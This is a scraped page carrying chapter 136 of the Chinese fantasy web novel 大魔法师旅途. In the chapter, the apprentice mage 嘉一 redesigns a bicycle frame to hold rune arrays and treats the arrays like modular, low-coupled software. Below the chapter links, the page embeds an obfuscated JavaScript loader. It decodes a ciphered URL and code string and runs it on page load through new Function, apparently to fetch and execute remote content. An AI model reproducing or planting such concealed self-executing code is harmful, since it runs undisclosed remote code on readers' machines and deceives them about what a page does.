返回

大魔法师旅途

首页
关灯
护眼
字体:
第一百三十六章 解耦
( )“老师,有什么比较有弹性还耐磨的东西吗?”上午的课程结束后,嘉一问自己的老师。

现在,他们只有上午才上课,下午的时候自己去做实验。毕竟对于一个法师来说,知识要转化为实力还是需要多实践。有时候伊姆没空的话,还是嘉一给黛儿和弗劳尔上课。

他现在已经不仅是一个学生了,更多的像是一个助教,许多问题都需要伊姆给他单独开小灶,弗劳尔他们早就跟不上他的进度了,而但伊姆忙的时候,作为开小灶的代价,他需要去教黛儿和弗劳尔。

“是为了你现在造的那辆车?我一直想问你,怎么没有设计魔法阵在上面?”伊姆问道。

嘉一被伊姆的问题问的愣了一下:“老师,你知道的,虽然我现在学习了好些个符文法阵,但是还没有能力将他们铭刻在器物上面,所以我就想着先做一个不使用魔法的车出来。”

在自行车上面铭刻符文法阵已经超过嘉一的能力范围了,他现在不是画不出来符文法阵,但是受限于体内的魔力水平,只能画一些简单的符文法阵,譬如生火,降温等等对于基础元素的应用,画出的法阵大小不能超过一尺见方,否则体内的魔力就难以为继了。

但显然这些法阵在自行车上面是没有用到,总不能在车轮上面画一个火焰法阵,然后骑起来冒火,冒充哪吒?

起码也得铭刻一些降低风阻、重量、甚至浮空的法阵吧。

飞天自行车是他对于自己自行车的终极规划,但与现在无关。

伊姆皱了下眉,对于嘉一的解释并不满意:“虽然你并不足以铭刻高级一点的法阵,但是你应该有这个意识。你可以将你认为合适的法阵当做花纹印在你的车上面,这样,等到以后你可以再将法阵补上。

“而且,你自己的车刻不了法阵,不代表我的也不行啊?”

如果没有最后一句话,嘉一会更加感激伊姆的教导。不过通过伊姆的话,嘉一也发现了自己的问题,对于上辈子的经验还是太过于依赖了,对于和魔法的结合还是没有做的很好。

当然主要还是实力的问题。

不过伊姆有一点说的很对,他应该为自己的设计留出来充分的魔改的可能性,就像是软件设计要留出来可以扩展的接口一样。

上一次设计钢笔的时候就是没有预留法阵的位置,后来伊姆做的钢笔加大了钢笔笔尖的金属片的大小,让铭刻法阵的地方有更大的空间。上次他没有意识到,这次又忽略了。

嘉一这次终于吸收了教训,毕竟,他现在也是一个法师了,该更多的以法师的方式来思考问题。

他连问自己老师有没有橡胶的替代品都忘了,连忙回到自己的房间去修改自己的设计。

他第一个打算是将法阵刻在链条外面的挡板上边,将挡板的宽度加大,与车体的牢固度增加。但是后来又放弃了,一来挡板只是为了美观,用处其实不大,如果骑到野外遇到杂草,还很有可能卡主链条,到时候还要拆下挡板来处理,太麻烦了。

所以他又将挡板取消了——他原来就没有设计这玩意儿。

而且挡板不算主体架构,如果在上面刻法阵,那么很有可能导致受力不均匀,松动断裂掉下来。其实照这个来算的话,可以选择的余地就不多了,为了受力均匀,最好的铭刻法阵的地方就是车架。

接下来,嘉一改了车架的设计,将原来的圆管改成了宽的椭圆形。这样,铭刻法阵在上面就比较合适了。

不过这样还是不能够解决全部的问题,因为一般的法阵都是平面的,要在圆管上面刻法阵那么法阵就要重新设计。在圆管上面刻法阵并不是将法阵画好卷起来就行的,因为法阵每条魔力通到之间的运行是会互相影响的。

魔力运行的时候会产生一个力场,就像是电流通过的时候产生磁场一样。两条魔力通道离得太近就会互相干扰,所以法阵的微小化和立体化从来都是一个难题,不仅需要重新设计,连铭刻者的技术要求都很严格。

嘉一虽然没有刻画法阵的实力,但是也想着尝试一番。

他先是选择了一个反重力的法阵——不是为了让车飞起来,普通的反重力法阵并不能达到那个要求,只是为了减轻车子的重量。毕竟他的车主题都是钢材,既不是铝合金,也不是炭纤维,自重太重了,加一个反重力法阵可以骑的更加轻松些。

他一直都在尝试使用编程的思想对符文法阵进行重构,期望能够像是编程一样构建法阵、甚至是魔法。虽然并没有成功,但是让他对于法阵有了不一样的理解。

而且也不是一点收获都没有,现在,他就可以对于法阵进行分解,将法阵分割成为不同的部分,就像是程序的各个不同的模块一样。用编程的思想来说就是高聚合,低耦合,他就是在做解耦的工作。

不过,现在他虽然可以将法阵分割,但是并不能对每个模块单独绘制,在组合成一个完整的法阵。

分割后的法阵还是需要一次性绘制所有部分才能成功,而且他这样分割之后,虽然理解起来更容易理解,但是反而导致法阵的笔画更多了,绘制的难度增加了。

简单说,就是降低了学习成本,增加了绘制成本。这对于一般的法师来说是不可取的,不仅成本增加了,而且更容易理解就意味着被破解的难度降低了——法师世界虽然有类似专利保护的东西,但并不意味着完全不会遇到盗版。

这并不意味着嘉一的努力一无是处,降低学习难度对于法师的学习是很有好处的,能够加快法师的学习速度,也能培养更多的法师。当然,要想实现这个,起码得等到他在法师之中有了巨大的声望才行。

起码得声望达到崇拜吧,尊敬估计都不够。

而且,模块化的法阵也便于法阵的修改和组合,譬如两个法阵结合在一起,公用一个模块,比如能量模块,控制模块。

嘉一就设计过一个,将一个寒冰法阵和一个火焰法阵重构之后公用一个能量供给模块。当时,这个组合法阵启动成功了,但是后来似乎是因为冰系和火系的法阵之中的魔力导致了冲突,接着就爆炸了。

然后差点破相的嘉一就决定在没有学会魔法护盾之前还是不要再做这种危险的实验了,但是这次实践表明这种设计无疑是可行的。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();